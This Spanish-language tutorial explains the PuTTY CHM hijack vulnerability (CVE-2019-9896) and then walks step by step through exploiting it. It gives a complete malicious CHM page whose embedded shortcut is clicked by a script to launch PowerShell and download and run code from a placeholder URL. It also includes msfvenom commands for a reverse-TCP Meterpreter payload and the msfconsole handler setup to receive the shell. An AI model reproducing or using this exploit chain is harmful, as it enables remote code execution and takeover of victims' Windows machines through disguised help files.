
Posible ejecución de código malicioso mediante el secuestro de CHM (CVE-2019-9896)
Posible ejecución de código malicioso mediante el secuestro de CHM
Hasta la versión 0.70 inclusive, cuando abrías la ayuda en línea en cualquiera de las herramientas GUI de PuTTY para Windows, la herramienta localizaba su archivo de ayuda buscando junto a su propio ejecutable.
Si estabas ejecutando PuTTY desde un directorio en el que código no relacionado pudiese colocar archivos (por ejemplo, ejecutándolo directamente desde el directorio de descargas predeterminado del navegador), esto significa que si alguien consiguiese colocar un archivo llamado putty.chm en ese directorio (por ejemplo, incitándote a hacer clic en un enlace de descarga con ese nombre), entonces PuTTY creería que es el archivo de ayuda real y se lo pasaría a htmlhelp.exe.
Esto es una vulnerabilidad porque los archivos de Ayuda HTML (.chm) pueden, a su vez, disponer la ejecución del código que elijan, por ejemplo incrustando un elemento HTML que sea un acceso directo de Windows, junto con JavaScript para hacer clic en él.
Más detalles: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM es una extensión del formato de archivo HTML compilado, utilizado más comúnmente por el programa de ayuda basado en HTML de Microsoft. Puede contener muchos documentos HTML comprimidos, así como las imágenes y el JavaScript a los que enlazan. Las características de CHM incluyen tabla de contenidos, índice y búsqueda de texto completo.
En el pasado, los actores de amenazas utilizaron archivos CHM para soltar el archivo de puerta trasera, algo comúnmente usado en ataques dirigidos.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
Necesitamos el kit de herramientas HTML Help Workshop para crear un archivo CHM. Tras la instalación, inicia la herramienta HTML Help Workshop.
Haz clic en File > New > Project y sigue los pasos mostrados a continuación:
Creando el proyecto de Ayuda HTML
Pantalla New Project > Next > Browse
Especifica el nombre de tu archivo de proyecto y dónde te gustaría que se cree.
Escribe putty en File name: y haz clic en "Open"
Especifica tu proyecto de Ayuda HTML
Selecciona HTML files (.htm)
Especifica dónde se encuentran tus archivos .htm.
Usa el botón Add.. y selecciona un directorio ya creado para el exploit, de modo que contenga tu archivo malicioso, como putty.htm
Selecciona un archivo HTM
El asistente crea un nuevo proyecto HTML Help. Necesitamos hacer cambios.
En la herramienta, haz doble clic en el archivo htm creado para editarlo y luego inserta el código siguiente para crear un archivo de ayuda básico:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
Crear archivo malicioso
¿Cómo creo un payload Meterpreter TCP simple para Windows?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
Cuando haces doble clic en el botón Help, se inicia putty.exe como proceso hijo de malware.exe, que es el intérprete del archivo binario CHM. (Tus archivos maliciosos putty.chm y putty.exe deben estar en el mismo directorio).
Se inicia un malware
¿Cómo obtengo la shell de meterpreter?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
Recursos: